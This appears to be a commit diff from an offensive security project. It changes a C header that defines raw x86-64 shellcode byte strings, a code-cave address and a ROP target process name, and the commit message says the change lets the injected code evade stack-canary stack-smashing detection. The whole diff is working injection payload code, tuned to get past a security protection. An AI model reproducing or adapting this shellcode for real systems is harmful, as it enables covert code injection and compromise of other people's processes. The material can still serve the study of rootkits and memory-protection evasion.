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Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries

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h3xduck
2022-04-07 19:47:53 -04:00
parent be5605db5f
commit 621e42e2e8
6 changed files with 12851 additions and 14295 deletions
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13
src/common/constants.h
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@@ -26,8 +26,9 @@
#define TASK_COMM_NAME_ROP_TARGET "simple_timer"
#define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
"\xbf\x00\x20\x00\x00\x48\xbb"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN 7
"\x55\x50\x51\x52\x53\x57\x56\
\xbf\x00\x20\x00\x00\x48\xbb"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN 14
#define CODE_CAVE_SHELLCODE_ASSEMBLE_2 \
"\xff\xd3\x48\x89\xc3\xc7\x00\x2f\x68\x6f\x6d\
@@ -41,9 +42,11 @@
#define CODE_CAVE_SHELLCODE_ASSEMBLE_2_LEN 90
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3 \
"\xbe\x01\x00\x00\x00\x48\x89\xdf\x48\x89\xdc\
\x48\x81\xc4\x00\x10\x00\x00\x48\x89\xe5\xff\xd0"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 23
"\xbe\x01\x00\x00\x00\x48\x89\xdf\
\x48\x81\xec\x00\x10\x00\x00\xff\
\xd0\x48\x81\xc4\x00\x10\x00\x00\x5e\
\x5f\x5b\x5a\x59\x58\x5d\xc3"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 32
#endif